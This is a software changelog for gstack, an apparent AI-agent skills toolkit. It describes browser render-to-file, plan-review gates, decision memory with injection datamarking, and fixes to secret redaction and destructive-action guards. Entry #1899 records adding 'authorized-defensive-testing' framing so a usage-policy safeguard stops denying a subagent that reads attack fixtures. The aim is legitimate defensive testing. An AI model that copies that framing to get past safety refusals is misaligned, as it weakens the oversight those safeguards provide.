## **`browse` is now the one Chromium on the box, for offline rendering too.**
## **`js`/`eval --out <file>` writes a render straight to disk, so skills stop bundling their own puppeteer.**

You can now turn your own local HTML or JSON into a PNG (or any bytes) on disk
through the same headless `browse` Chromium you already run, with no second
browser install. `js "<expr>" --out out.png` and `eval script.js --out out.png`
write the evaluate result to a file instead of returning it. When the result is a
base64 data URL (the shape Excalidraw exports, og-image generators, and card
renderers hand back), `--out` decodes it to raw bytes for you; pass `--raw` to
write the literal string. Malformed base64 errors loudly instead of writing a
corrupt file, and missing parent directories are created. This closes the gap that
made local-render skills each `npm i puppeteer` and download a drifting second
Chromium.

### The numbers that matter

No synthetic benchmark — these are structural facts of the change, verifiable from
the diff and a one-line smoke (`browse load-html` → `screenshot --selector` /
`js --out`).

| For a skill that rasterizes local HTML/JSON | Before | After |
|---|---|---|
| Chromium installs per box | 2+ (browse + each skill's own puppeteer) | 1 (shared `browse`) |
| Getting a PNG from a render function | `evaluate` → multi-MB data URL over the CLI channel → hand-decode base64 → write | `js --out` decodes and writes server-side; only a short status crosses the channel |
| Render-to-file primitive | none | `js`/`eval --out [--raw]` |

The blessed offline path is documented in the browse skill: visual output goes
through `screenshot --selector` (the picture never crosses the CDP wire), and bytes
a function returns go through `js --out`.

### What this means for you

If you write skills that draw diagrams, cards, or og-images, point them at `browse`
and delete the bundled Chromium. One version to pin, one daemon to manage. `--out`
is treated as a write everywhere it matters: it needs the `write` scope, is blocked
over the pair-agent tunnel, and is gated in watch mode, so a remote agent can never
use it to write to your disk.

### Itemized changes

#### Added
- **`js` / `eval --out <file>` render-to-file** (`browse/src/read-commands.ts`).
  Writes the evaluate result to disk and returns a short `... result written: <path>
  (<N> bytes)` status. A `data:<type>;base64,...` result is decoded to raw bytes
  (case-insensitive header parse, split on the first comma, base64-charset validated
  before decode); `--raw` forces a literal write. Parent directories are created.
- **`--raw` flag** to bypass data-URL decoding and write the literal result string.
- **Offline render mode docs** in the browse skill: an explicit headless, no-proxy,
  no-Xvfb path with a worked example showing visual (`screenshot --selector`) vs
  bytes (`js --out`), a puppeteer→browse cheatsheet row, and a "don't bundle your
  own Chromium" note (also in CONTRIBUTING.md).

#### Changed
- **`--out` is a per-invocation WRITE capability** (`browse/src/server.ts`).
  `js`/`eval` stay read commands, but an `--out` invocation requires the `write`
  scope, is never dispatchable over the tunnel surface (`canDispatchOverTunnel` now
  consults args), and counts as a mutation for watch-mode and tab-ownership gates.

#### For contributors
- New tests: `parseOutArgs`/`hasOutArg` unit coverage (`--out`/`--out=`, `--raw`,
  repeats, missing value, ordering), `--out` render-to-file integration (large
  string, data-URL→PNG, `--raw`, malformed-base64, outside-safe-dir, mkdir, eval
  parity, byte-for-byte null/undefined), and tunnel-gate guards proving `--out`
  is never tunnel-dispatchable.

## [1.57.7.0] - 2026-06-08

## **Every plan review now ends by telling you, in one line, whether anything is still unresolved.**
## **The GSTACK REVIEW REPORT closes with the open decisions, or "NO UNRESOLVED DECISIONS" in plain sight, before you approve.**

When a plan-review skill (/plan-ceo-review, /plan-eng-review, /plan-design-review,
/plan-devex-review, and /codex) finishes and hands you the plan to approve, its report
now ends with a mandatory unresolved-decisions verdict. If decisions are still open, it
lists each one and what breaks if you ship it deferred. If nothing is open, it prints the
exact line NO UNRESOLVED DECISIONS. A token-reduction pass had made this line optional, so
a clean plan and a plan hiding an open question rendered the same. Now the line is never
omitted, it is always the last thing you read before the approval prompt, and the approval
gate refuses to let the plan through without it.

### What changed, before and after

| At plan-approval time | Before | After |
|---|---|---|
| Clean plan | usually no unresolved line | `NO UNRESOLVED DECISIONS` as the final line |
| Plan with open decisions | unresolved line optional, often dropped | `**UNRESOLVED DECISIONS:**` + one bullet per open item |
| Approval gate (ExitPlanMode) | checked the line "if applicable" | blocks unless the unresolved status is the final line |
| /plan-devex-review review log | never written, gate uncheckable | written, so the dashboard and report see its data |

The unresolved count across reviews is computed without double-counting the review that
just ran, using the same 7-day freshness window as the Review Readiness Dashboard.

### What this means for you

Every approve-plan moment now carries an explicit verdict on open questions, so a missed
ambiguity cannot slip through looking like a clean plan. If you run the plan-review skills
or /autoplan, you will see the unresolved status as the closing line of every report.
Nothing to configure. Upgrade and your next plan review shows it.

### Itemized changes

#### Added
- **Mandatory unresolved-decisions status in the GSTACK REVIEW REPORT.** Generated into
  all six report consumers (/plan-ceo-review, /plan-eng-review, /plan-design-review,
  /plan-devex-review, /codex, /devex-review) from `scripts/resolvers/review.ts`. The report
  always ends with either the exact unbolded sentinel `NO UNRESOLVED DECISIONS` or a
  `**UNRESOLVED DECISIONS:**` bullet block listing each open item; never omitted, always
  the final line.
- **Blocking approval gate.** The EXIT PLAN MODE GATE now refuses ExitPlanMode unless the
  report's final non-whitespace line is the unresolved status (no "if applicable" escape).
- Static and E2E tests pinning the mandatory status across every report consumer and
  gate-bearing skill, so a future compression pass cannot silently drop it again.

#### Fixed
- **/plan-devex-review never logged a review entry.** It carried the approval gate but
  never called `gstack-review-log`, so the gate's "review log was called" check was
  structurally unsatisfiable and its data was invisible to the Review Readiness Dashboard
  and the report. It now logs with the correct timestamp and DX fields.

#### For contributors
- Rebased the parity-suite size baseline v1.53.0.0 to v1.57.7.0 (captures current union
  sizes; keeps the per-skill 1.05 ratio so future bloat is still caught). Regenerated the
  three ship golden fixtures left stale by #1909. The frozen v1.44.1 integrity anchor and
  the v1.47 size-budget baseline are untouched.

## [1.57.6.0] - 2026-06-07

## **Eight community-filed bugs fixed in one wave, four of them security guards that were quietly failing open.**
## **Your redaction gate now catches modern OpenAI keys, and `/ship`'s adversarial review stops choking on your own security tests.**

This is a fix wave. The throughline: guards that reported success while doing nothing.
The secret-redaction gate that every `/spec`, `/ship`, `/cso`, and `/document-*` run
passes through was blind to modern `sk-proj-`/`sk-svcacct-`/`sk-admin-` OpenAI keys and
silently dropped its size cap on a bad flag. The cross-project learnings trust gate was
an allowlist on paper and a denylist in code, so untrusted rows leaked between projects.
The destructive-action classifier waved through "rotate the database password." Each one
looked like it was protecting you. None of them were. All four now fail closed, with
tests that pin the exact case that used to slip by. Three more fixes clear silent
crashes and skipped reviewers, and `/ship`'s adversarial pass no longer trips Anthropic's
usage policy when it reads your repo's own attack-payload fixtures.

### The numbers that matter

Reproduce with `bun test test/redact-engine.test.ts test/gstack-learnings-search.test.ts test/one-way-doors.test.ts test/diff-scope.test.ts test/brain-cache-roundtrip.test.ts`.

| Guard / path | Before | After |
|---|---|---|
| `sk-proj-`/`sk-svcacct-`/`sk-admin-` OpenAI keys | zero findings (HIGH fails open) | blocked, with prose false-positive guards |
| `gstack-redact --max-bytes <garbage>` | NaN silently disables the size cap | rejected at the CLI; engine backstop holds |
| Cross-project learnings with no `trusted` field | imported (denylist bug) | excluded (true allowlist) |
| "rotate the database password" | classified two-way (auto-approvable) | classified one-way (always asks) |
| `.mjs/.cjs/.mts/.cts`-only PRs | backend reviewer skipped | backend reviewer runs |
| `_meta.json` missing `last_refresh` | brain-cache crashes (TypeError) | degrades to a cold cache |
| Safety-skill hooks on Claude Code 2.1.162 | every Edit/Write errored | hooks resolve and run |
| `/ship` adversarial review over security fixtures | denied by usage policy | runs, fixtures read in summary mode |

The redaction one is the sharpest: a project/service-account/admin OpenAI key pasted
into a spec or PR body used to sail straight through the gate. Now it blocks, and the
calibration is pinned so hyphenated prose like "the sk-learning-rate schedule" does not
false-positive and wedge your ship.

### What this means for you

If you rely on the redaction guard or the cross-project learnings gate, they now do what
the docs always said. If you run `/ship` on a repo that tests its own security guards,
adversarial review stops dying on contact with your fixtures. And if you are on Claude
Code 2.1.162, `/guard`, `/freeze`, and `/careful` work again instead of erroring on every
edit. Upgrade and re-run anything that touched these paths.

### Itemized changes

#### Fixed
- **Redaction misses modern OpenAI keys (#1868).** `openai.key` (HIGH/block) used a
  contiguous-alphanumeric pattern that stopped at the first `-`/`_`, so base64url-bodied
  `sk-proj-`/`sk-svcacct-`/`sk-admin-` keys produced no finding and failed open through
  every redaction sink. Replaced with explicit bare-vs-prefixed alternation; added
  positive and false-positive tests. Reported by @jbetala7.
- **Redaction size cap fails open on a bad flag (#1824).** A malformed `--max-bytes`
  parsed to `NaN`, and `byteLen > NaN` is always false, silently disabling the
  fail-closed oversize guard; a negative value blocked everything. The CLI now rejects
  non-integer / non-positive values, and the engine falls back to the default cap as a
  backstop. Reported by @jbetala7.
- **Cross-project learnings trust gate leaked (#1745).** `gstack-learnings-search
  --cross-project` is documented as an allowlist but was coded as `trusted === false`,
  admitting any row missing the `trusted` field. Flipped to `trusted !== true`. Reported
  by @jbetala7.
- **Destructive-action classifier missed "rotate ... password" (#1839).** The `rotate`
  keyword pattern omitted `password` while its `revoke`/`reset` siblings included it, so
  the most common credential-rotation phrasing classified as a reversible two-way
  question. Added `password` to the alternation.
- **Review Army skipped backend reviewer on ESM/CJS PRs (#1810).** `gstack-diff-scope`
  matched only `*.ts|*.js`; a PR touching only `.mjs/.cjs/.mts/.cts` reported no backend
  scope. Added the four module extensions. Reported by @jbetala7.
- **Brain-cache crash on a partial `_meta.json` (#1879).** `loadMeta` returned parsed
  JSON verbatim; a file missing `last_refresh` crashed three consumers with a TypeError.
  Added an object-shape guard and map normalization; missing schema/endpoint identity now
  forces a safe rebuild rather than trusting a stale file. Reported by @jbetala7.
- **Safety-skill hooks broken on Claude Code 2.1.162 (#1871).** `guard`, `freeze`, and
  `careful` frontmatter hooks used `${CLAUDE_SKILL_DIR}`, which CC 2.1.162 no longer
  populates, so every Edit/Write/Bash errored. Anchored the hook commands to the
  installed checkout path. Reported by @omariani-howdy.
- **`/ship` adversarial review denied on own security fixtures (#1899).** The Claude
  adversarial subagent reasoned "like an attacker" over the full diff; when the diff
  included the repo's own attack-payload regression fixtures, Anthropic's real-time
  usage-policy safeguards denied the call. The subagent now carries authorized-defensive
  -testing framing and reads fixture/test files in summary mode (no raw payload bytes),
  stating so explicitly. Reported by @bmajewski.

#### For contributors
- `#1882` (skills hardcode `~/.claude/skills/gstack/`, breaking non-`gstack` install
  dirs) is filed as the top item in `TODOS.md`. It was scoped out of this wave once it
  proved to be a host-config/preamble change touching all 52 skills, distinct from the
  `#1871` hook fix it was originally paired with.

## [1.57.5.0] - 2026-06-07

## **Your agent now keeps its decisions, not just its code.**
## **The durable calls you make, and the "why" behind them, are captured, curated, and resurfaced across sessions, with no daemon to run.**

Every session you and the agent settle real decisions: pick an architecture, cut a scope, choose a tool, reverse an earlier call. Until now that reasoning lived only in a transcript that scrolls away, so the next session re-litigates settled questions or loses the "why." This release adds an institutional decision memory. Durable decisions land in an append-only, event-sourced store, the scope-relevant ones surface automatically at session start, and you can search them any time. It is file-only and works with gbrain off; when gbrain is up you can add semantic recall on top. The planning and ship skills capture their own key calls so the high-value decisions get recorded without anyone remembering to. Separately, `/sync-gbrain` learned to build the cross-reference call graph and to heal a crashed daemon's stale lock instead of wedging every sync.

### The numbers that matter

No speed benchmark here, the win is capability and reliability. These are the real shape of the release (`git diff 1.57.0.0..HEAD`, `bun test`):

| Metric | Value |
|--------|-------|
| New commands | 2 (`gstack-decision-log`, `gstack-decision-search`) |
| Session-start read cost | O(active) bounded snapshot, not a full-history scan |
| Works with gbrain OFF | Yes, every capture/curate/resurface path is files + bins only |
| New source | ~2,550 lines across 26 files |
| New tests | 117 across the decision store + gbrain stages |

Resurfaced decision text is treated as data, not instructions (datamarked at the render boundary), secrets are blocked on write, and `redact` expunges a decision from every read path. The whole loop degrades cleanly: turn gbrain off and you still capture, curate, and resurface.

### What this means for you

Start a session tomorrow and the agent already knows what you settled and why, instead of asking again or quietly reversing it. Log a call with `gstack-decision-log`, reverse one with `--supersede`, pull the relevant history with `gstack-decision-search`. CEO, eng, spec, and ship reviews record their decisions for you. Run `/sync-gbrain` and a crashed autopilot no longer blocks your next sync.

### Itemized changes

#### Added
- **Cross-session decision memory.** An event-sourced (`decide`/`supersede`/`redact`) store at `~/.gstack/projects/<slug>/decisions.jsonl`. "Active" is computed, never a mutable flag, so the history stays honest and tolerant of dangling references.
- **`gstack-decision-log`** — capture a durable decision, reverse one (`--supersede <id>`), expunge an accidental secret (`--redact <id>`), or rewrite the log to its active set (`--compact`). Non-interactive, injection-sanitized, blocks HIGH and MEDIUM secrets on write.
- **`gstack-decision-search`** — read active decisions, scope-filtered to the current branch/issue, with `--recent N`, `--scope`, `--query`, `--all`, `--json`. Add `--semantic` (with `--query`) to append related hits from gbrain memory when it is up; it degrades silently to the reliable file results when gbrain is off.
- **Session-start resurfacing.** Context Recovery shows the scope-relevant active decisions at the top of a session, from a bounded snapshot so it stays fast as the log grows.
- **Skill capture.** `/plan-ceo-review`, `/plan-eng-review`, `/spec`, and `/ship` record their structured decisions (accepted scope, architecture verdict, filed spec, version bump) automatically.
- **A `## Cross-session decision memory` section in CLAUDE.md** documenting when and how to capture and resurface.
- **`/sync-gbrain` call-graph build (`--dream`).** Builds the symbol cross-reference graph behind a lock-free gate, with an honest outcome guard that reports a degraded no-op as WARN rather than a false success.

#### Changed
- Decision text that resurfaces into agent context is datamarked (code fences, `---` banners, `<|role|>`/`</system>` tags, chat turn-prefixes, and Unicode line terminators are neutralized) so stored text can never masquerade as instructions.
- `/sync-gbrain` pin guidance is accurate for current gbrain, and the worktree-scoped `.gbrain-source` pin routes code queries correctly.

#### Fixed
- `/sync-gbrain` no longer wedges forever on a crashed autopilot daemon's stale lock: it reads the holder pid, confirms liveness, and ignores a dead one (it stays conservative when it cannot tell).

#### For contributors
- New shared `lib/jsonl-store.ts` (injection-reject + atomic single-line append + tolerant read) backs both the learnings and decision stores, so the sanitization path is audited in one place.
- `lib/bin-context.ts` shares slug/branch/flag plumbing across the decision bins.

## [1.57.4.0] - 2026-06-08

## **The completeness principle is now Boil the Ocean, matching the post it came from.**
## **One name across the ETHOS file, every skill, and the developer-profile dial.**

The principle that tells gstack to do the complete thing was called "Boil the Lake" in
`ETHOS.md` and in every generated skill, with the ocean cast as the anti-pattern. The
developer-profile system and the completeness intro link already used "boil the ocean"
as the good, ship-the-whole-thing pole. So the same idea carried two opposite framings
depending on where you read it. This renames the principle to Boil the Ocean everywhere
and reframes the metaphor: the ocean is the complete destination, and lakes are the
boilable units you ship on the way there. The guidance is identical. Only the name and
the framing prose changed.

### The numbers that matter

Reproduce with `git diff v1.57.3.0..HEAD --stat`.

| Property | Before | After |
|---|---|---|
| Principle name in ETHOS + every skill | "Boil the Lake" | "Boil the Ocean" |
| Name vs. the `scope_appetite` dial ("boil the ocean" = complete) | split | unified |
| Files updated | — | 63 (ETHOS, CLAUDE, README, resolvers, templates, generated SKILL.md) |
| Runtime behavior change | — | none, text only |

The one number that matters is zero: no behavior changed. A reviewer reading `ETHOS.md`
no longer hits "ocean" as the thing to avoid in one section and the thing to aim for in
the next.

### What this means for you

You get the same complete-the-work recommendations, now under the name from Garry's
"Boil the Oceans" post. The metaphor reads straight through: the ocean is the goal,
lakes are how you get there one boil at a time, and only genuinely unrelated
multi-quarter migrations sit outside scope. Nothing to do on your end.

### Itemized changes

#### Changed
- `ETHOS.md` section 1 is renamed to "Boil the Ocean" and reframed so the ocean is the
  complete destination and lakes are the boilable first units, not the ceiling.
- The "Completeness Principle" header injected into every tier-2+ skill now reads
  "Boil the Ocean," with prose to match.
- `CLAUDE.md` and `README.md` references updated to the new name.

#### For contributors
- Source of the rename lives in the preamble resolvers
  (`generate-completeness-section.ts`, the `composition.ts` skip-list, and
  `generate-lake-intro.ts`); all SKILL.md files are regenerated from them.
- Unit assertions (`skill-validation`, `terse-build`) and the three ship golden
  fixtures updated to the new header.

## [1.57.3.0] - 2026-06-07

## **Every PR `/ship` opens gets the version stamped into its title, fork and agent PRs included.**
## **The rule rides in the always-loaded part of the skill now, and a guard keeps it there.**

`/ship` stamps `vX.Y.Z.W` onto the title of every PR or MR it creates or updates, so
the version is the first thing you read in the PR list. That rule now lives in the
always-loaded core of the ship skill instead of an on-demand section, so the agent
applies it whether or not it opened the section that spells out the full procedure.
A CI workflow backs this up: it rewrites a title to match VERSION on every PR that
bumps the version, and it now reaches fork and agent PRs too, which a read-only token
could never touch before. Two free tests lock the behavior in so it cannot drift on
the next refactor.

### The numbers that matter

Reproduce with `bun test test/carve-section-ordering.test.ts test/pr-title-sync-workflow-safety.test.ts`
and `bun run eval:select`.

| Property | Before | After |
|---|---|---|
| Where the title rule loads | on-demand section only (since v1.54.0.0) | always-loaded skeleton + on-demand detail |
| Fork / agent PR title sync | none (read-only token under `pull_request`) | covered via hardened `pull_request_target` |
| Test proving the rule stays put | none | carve-guard registry asserts it on every PR |
| CI injection guard for the title workflow | none | static tripwire fails CI on unsafe patterns |

The title workflow now runs with a write token in the base-repo context but never
checks out or executes PR-head code, and every attacker-controlled field reaches the
script through `env:`, never inlined. A static test fails CI if either rule regresses.

### What this means for you

Ship a branch and the PR shows up titled `v1.57.3.0 fix: ...` without you touching it,
even when the PR came from a fork. The agent no longer needs to read the right section
at the right moment for the version to land in the title, and the next person who slims
the ship skill cannot quietly strand the rule again, because a free test on every PR
checks that it is still there.

### Itemized changes

#### Added
- Carve-guard coverage for the ship PR-title invariant: the registry now asserts the
  `v$NEW_VERSION` rule and the title helper stay in the always-loaded skeleton, while
  the full create and update procedure stays in the on-demand section.
- Static CI-safety test for the title-sync workflow that fails the build if it checks
  out PR-head code or inlines an attacker-controlled PR field into a shell step.

#### Changed
- The PR/MR title-version rule is always-loaded in `/ship` again, so the version
  prefix lands on every PR the workflow creates or updates.
- The PR title-sync CI workflow now covers fork and agent PRs through a hardened
  `pull_request_target` trigger (base-repo checkout only, PR fields passed via `env:`,
  VERSION read as data from the PR head).

#### Fixed
- A path token in the ship PR-body section that rendered literally instead of resolving
  now uses the correct helper path, so the Linked Spec auto-detect step runs as written.

## [1.57.2.0] - 2026-06-08

## **When the question picker breaks mid-skill, gstack asks in plain text instead of stalling.**
## **Every skill detects a dead AskUserQuestion and falls back to a full decision brief you answer by typing a letter.**

AskUserQuestion is how every gstack skill asks you to decide. When the host's question
tool fails at runtime, which Conductor's MCP integration currently does intermittently,
skills used to stall or hard-block. Now each skill detects the failure, works out
whether a human is actually present, and if so re-renders the exact same decision as a
text message: a plain-English explanation of the issue, a completeness score on each
choice, and a recommendation with its reason, one paragraph per choice. You answer by
typing a single letter. Headless eval runs still block cleanly (no human to answer);
orchestrator sessions keep auto-choosing. This whole release was built and reviewed
through that fallback, because the Conductor tool was down the entire session.

### The numbers that matter

No production benchmark for a reliability path like this. These are the behavior and
coverage facts, verifiable with `bun test test/gstack-session-kind.test.ts
test/resolver-ask-user-format.test.ts test/auq-error-fallback-hook.test.ts`.

| When AskUserQuestion fails | Before | After |
|---|---|---|
| Interactive session (human present) | stall / hard BLOCK | full prose decision brief, answer by letter |
| Headless eval / CI | BLOCK | BLOCK (unchanged, correct) |
| Orchestrator (OpenClaw) session | undefined | auto-choose recommended (contract kept) |
| Session kinds detected | 0 | 3 (interactive / headless / spawned) |
| New tests guarding the path | 0 | 34 |

The text brief is not a degraded stub. It carries the same three things the picker
shows: a clear explanation of what is being decided, a `Completeness: X/10` on every
choice, and a recommendation with the reason it wins.

### What this means for you

If your host's question tool flakes out, a skill no longer dies on you. You get the
same decision to make, in text, and you reply with a letter. Nothing changes when the
tool works normally. If you run gstack headless, those sessions still block on a needed
question exactly as before, so eval determinism is intact.

### Itemized changes

#### Added
- `gstack-session-kind` classifies each session as interactive, headless, or spawned,
  echoed as `SESSION_KIND` at skill start so any skill can branch on it.
- Plain-text fallback for AskUserQuestion: on a tool failure in an interactive session,
  the skill renders the full decision brief (issue ELI10 + per-choice completeness +
  recommendation) as markdown you answer by typing a letter, then stops and waits.
- A defensive hook that, when an AskUserQuestion call errors, reminds the agent to run
  the fallback for the current session kind.

#### Changed
- AskUserQuestion is still sent as a normal tool call; the prose path applies only when
  the tool is unavailable or erroring, and never on a `[plan-tune auto-decide]` result.

#### Fixed
- Section-loading tests use the canonical kebab test names, so the test-coverage gate
  matches them.
- External-host doc-freshness checks are deterministic, no longer dependent on a prior
  full regeneration.

#### For contributors
- The eval/E2E runners set `GSTACK_HEADLESS=1` so headless runs classify correctly;
  interactive-path suites opt out per-run.
- Per-skill `maxSizeRatio` override in the carve-guards registry; `document-release`
  gets 1.08 headroom for the cross-cutting preamble addition while every other skill
  keeps the 1.05 ceiling.

## [1.57.0.0] - 2026-06-07

## **Three more heavyweight skills load lighter, and every carved skill finally has a test that proves it loads.**
## **`/cso`, `/document-release`, and `/design-consultation` shed ~49KB of always-loaded prose; CI now blocks any carve that ships without its guards.**

gstack splits its biggest skills into a small always-loaded skeleton plus on-demand
sections that load only when a step needs them. This release carves three more,
`/document-release`, `/design-consultation`, and `/cso`, so the first time you invoke
them the agent reads far less. It also closes a gap from the earlier carves: only two
of six already-carved skills had a test proving an agent actually reads the section it
was told to read. Now all nine carved skills are guarded the same way, and CI blocks
any future carve that ships without its guards. `/cso` got extra care: its mode
dispatch and false-positive-filtering rules stay always-loaded, so a security audit
can never run with a rule stranded in an unread section.

### The numbers that matter

Measured with `wc -c <skill>/SKILL.md`; the skeleton+sections union is reproduced by
`bun test test/parity-suite.test.ts test/skill-size-budget.test.ts`.

| Skill | Always-loaded before | After | Δ |
|---|---|---|---|
| /design-consultation | 80,719 B | 59,229 B | **−27%** |
| /document-release | 59,256 B | 45,797 B | **−23%** |
| /cso | 79,383 B | 65,117 B | **−18%** |
| Carved skills with a section-load guard | 2 of 6 | 9 of 9 | **full coverage** |

Total always-loaded prose across the three skills drops about 49KB (~12K tokens) on
first invoke, with nothing lost: every line moved into an on-demand section the
skeleton points at, and the parity suite checks the union still contains it.

### What this means for you

Run `/cso`, `/document-release`, or `/design-consultation` and the agent does less
reading before it starts working, so the session stays leaner. The carve pattern is
now safe to extend: a free static test runs on every PR and a behavioral test runs
weekly to prove the agent reads each section, so future slimming can't quietly drop
behavior. Nothing about how you invoke these skills changed.

### Itemized changes

#### Added
- Canonical carved-skill guard registry (`test/helpers/carve-guards.ts`): one source of truth for which skills are carved and what each must preserve. `parity-harness.ts` and `skill-size-budget.ts` derive their carved-skill lists from it.
- Carve guard suite: data-driven static ordering test, behavioral section-loading test (periodic), a completeness meta-guard that fails CI if a carved skill lacks its guards, and negative tests proving the guards actually fire.
- `/cso`, `/document-release`, and `/design-consultation` carved into skeleton + on-demand sections.

#### Changed
- `/cso` keeps its mode dispatch (`## Arguments`, `## Mode Resolution`), always-run phases, and false-positive-filtering exceptions always-loaded; an earliest-use invariant enforces that dispatch appears before any on-demand read.

#### For contributors
- Redaction, taxonomy, and parity content tests now read the skeleton+sections union so relocated prose still counts toward coverage.
- Real-session section-read canary deferred to TODOS (the deterministic guards ship first).

## [1.56.1.0] - 2026-06-03

## **`/sync-gbrain` can no longer delete your repo. Cleanup now refuses any directory it cannot prove it created.**

A `/sync-gbrain` memory sync could recursively delete your entire working tree. A
crashed import left a checkpoint pointing at the repo root, the next sync
"resumed" into it, and the cleanup step `rm -rf`'d it, taking uncommitted and
untracked work with it. This release closes that path and fixes three more bugs
hiding in the same resume machinery: cleanup now deletes only directories it can
prove are gstack-minted staging dirs, the remote-http transcript dir is never
touched, an interrupted import actually keeps its checkpoint so the next run
resumes instead of restaging, and a resumed run no longer marks files that failed
to import as successfully ingested.

### The numbers that matter

Source: `bun test test/regression-1611-gbrain-sync-resume.test.ts` on this branch.

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Repo-root `rm -rf` reachable | yes | no | closed |
| Proof required before delete | none | 5 checks | realpath + direct-child + name + .git tripwire + minted-marker |
| Resume after a timed-out import | broken (dir deleted) | works | fixed |
| Failed files mislabeled "ingested" on resume | yes | no | fixed |
| Resume regression-test assertions | 9 | 64 | +55 |

The guard is fail-closed: anything it cannot prove it owns is left on disk (a few
seconds of re-staging next run) rather than deleted. That asymmetry is the design
- a missing marker can cost a little work, never your data.

### What this means for you

If you use `/sync-gbrain`, a crashed or timed-out import can no longer cost you
uncommitted work. Resume now does what it always claimed: a large sync that times
out picks up where it left off next run instead of starting over, and files that
failed to import get retried instead of silently skipped. Nothing to configure.
Upgrade and keep syncing.

### Itemized changes

#### Fixed
- **`/sync-gbrain` could `rm -rf` your repo root.** A poisoned resume checkpoint
  (dir = the repo, written when an import was interrupted while the repo was the
  working directory) was adopted as the staging dir and recursively deleted. A
  single fail-closed ownership check now guards every staging delete and every
  resume: a path must resolve cleanly, be a direct child of `~/.gstack` named
  `.staging-ingest-*`, contain no `.git`, and carry a marker file gstack minted.
  Anything else is refused. Contributed by @diazMelgarejo (cyre).
- **Remote-http syncs no longer churn (or scare you).** The persistent transcript
  dir that the brain sync pushes is no longer routed through staging cleanup, so
  it stops being deleted on every run and stops emitting a false "preventing data
  loss" warning.
- **A timed-out import now actually resumes.** Previously the run said "checkpoint
  preserved" but then deleted the staging dir, so the next run always restaged.
  The staging dir is now kept when a checkpoint points at it, and the message is
  honest when there is nothing to resume.
- **Resume no longer hides import failures.** A resumed run could mark files that
  failed to import as ingested, so they were never retried. Failures now map back
  to their source files on resume and get another pass.

#### For contributors
- New `lib/staging-guard.ts` exports `checkOwnedStagingDir()`, the single
  fail-closed predicate shared by the deletion chokepoint and the resume gate. It
  returns the realpath-resolved canonical path so callers delete exactly what they
  validated (closes a symlink TOCTOU). `makeStagingDir()` tears down and rethrows
  if its marker write fails, so a marker-less dir can never leak. The
  `#1611` resume regression suite grew to 64 assertions covering the poison
  matrix, the remote-http gate, timeout-preserve, and resume failure-mapping.

## [1.56.0.0] - 2026-06-03

## **Five heavy skills now load their bulk on demand, the shared question preamble slimmed corpus-wide, and a paranoid test suite proves the questions never got worse.**

The token-reduction program lands its biggest wave. Five of the heaviest skills — `/plan-ceo-review`, `/office-hours`, `/plan-eng-review`, `/plan-design-review`, and `/plan-devex-review` — are now a small always-loaded skeleton plus an on-demand `sections/` file the agent opens only when it reaches the work. The conversational front half (Step 0 scope, the live interview) stays always-loaded; the deep review bodies, design-doc templates, outside-voice rules, and required-output writers move behind a single STOP-Read. The shared AskUserQuestion preamble also shed its rarely-needed CJK escaping manual, so every interactive skill is a little lighter at once. And because the most user-facing surface in gstack is the question it asks you, a new paranoid test suite proves that slimming a skill never strands or degrades that question.

### The numbers that matter

Measured from the generated skeletons (`wc -c <skill>/SKILL.md`), regenerated for all hosts:

| Skill | Before | After | Δ |
|-------|--------|-------|---|
| plan-ceo-review | 138,838 B | 80,731 B | -42.0% |
| office-hours | 118,280 B | 88,975 B | -24.8% |
| plan-eng-review | 106,984 B | 54,892 B | -48.7% |
| plan-design-review | 112,057 B | 76,024 B | -32.2% |
| plan-devex-review | 110,621 B | 69,658 B | -37.0% |

On top of the per-skill carves, the shared AskUserQuestion preamble dropped its inline CJK manual to a one-line rule + a doc pointer, trimming ~29,524 B across the Claude-host corpus (every interactive skill, ~900 B each).

The AskUserQuestion proof, measured by SDK capture (`test/skill-e2e-auq-matrix.test.ts`):

| Guarantee | Result |
|-----------|--------|
| Carved vs verbose, same trigger | 7/7 format, substance 5 == 7/7 format, substance 5 (no degradation) |
| Matrix across 7 AUQ-heavy skills | all 7/7 format, substance 4-5 |
| Same trigger 3× (consistency) | stable, every format element every run |
| AUQ format spec always-loaded | guaranteed in every skeleton (Layer 0) |

Every review runs identical pass for pass; the only thing that changed is what sits in context before the work begins.

### What this means for you

The skills you run most start markedly lighter: a `/plan-ceo-review` opens ~42% smaller, the others 25-49%, and they pull in their review bodies only when they reach them. You will not notice any behavior change in the reviews themselves; they run section for section as before. What you get is more of the context window left for your actual work, paid back on every invocation. And every skill that asks you questions now carries a guarantee, enforced by tests: the decision brief (plain-English ELI10, an explicit recommendation with a real reason, pros and cons, the stakes) is provably in context the instant any question fires. External hosts (codex, factory, kiro, opencode) still receive the full inline skill, so nothing regresses off Claude.

### Itemized changes

#### Added
- `plan-ceo-review/sections/review-sections.md` — the 11-section deep review, outside-voice rules, required-output registries, completion summary, review report writer, next-step chaining, and mode quick reference, behind a STOP-Read pointer with a passive `manifest.json`.
- `office-hours/sections/design-and-handoff.md` — Phase 5 design-doc templates + Phase 6 tiered handoff, behind a STOP-Read pointer with a passive `manifest.json`.
- `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review` each gain a `sections/review-sections.md` carved behind a post-Step-0 STOP-Read.
- `docs/askuserquestion-cjk.md` — full non-ASCII / CJK escaping rationale + worked example, read on demand.
- `test/auq-format-always-loaded.test.ts` — free per-PR keystone: every interactive skill must carry the full AskUserQuestion format spec in its always-loaded skeleton, never stranded in a section. 51 cases plus a negative control.
- `test/skill-e2e-auq-matrix.test.ts` — drives each AUQ-heavy skill to its first question and grades it (7/7 format, substance >=4).
- `test/skill-e2e-auq-verbose-vs-carved-ab.test.ts` — proves a carved skill's question is not worse than the pre-carve monolith's, on the same trigger.
- `test/skill-e2e-auq-consistency.test.ts` — same trigger N times, fails on any format element that flickers between runs.
- `test/codex-e2e-recommendation-substance.test.ts` — grades `/codex`'s live recommendation substance.
- `test/skill-ceo-section-ordering.test.ts` — gate-tier static guard: the STOP fires after Step 0, the review body is absent from the skeleton, the report writer lives in the section, and nothing review-governing sits below the STOP.
- `test/skill-e2e-plan-ceo-review-section-loading.test.ts` — periodic backstop that asserts the carved section is Read before the report.

#### Changed
- `/plan-ceo-review`, `/office-hours`, `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review` are each a skeleton + one on-demand section on Claude; the conversational front (Step 0 / Phases 1-4.5) stays always-loaded; external hosts still receive the full inline skill (no behavior change off Claude).
- The AskUserQuestion preamble trims the inline CJK manual to the operative rule + a doc pointer; the always-loaded self-check is unchanged.
- Parity, size-budget, section-manifest, gen-skill-docs, and skill-validation treat every carved skill consistently (content + size floors run against the skeleton + section union; skeleton-shrink assertions guard the always-loaded win).

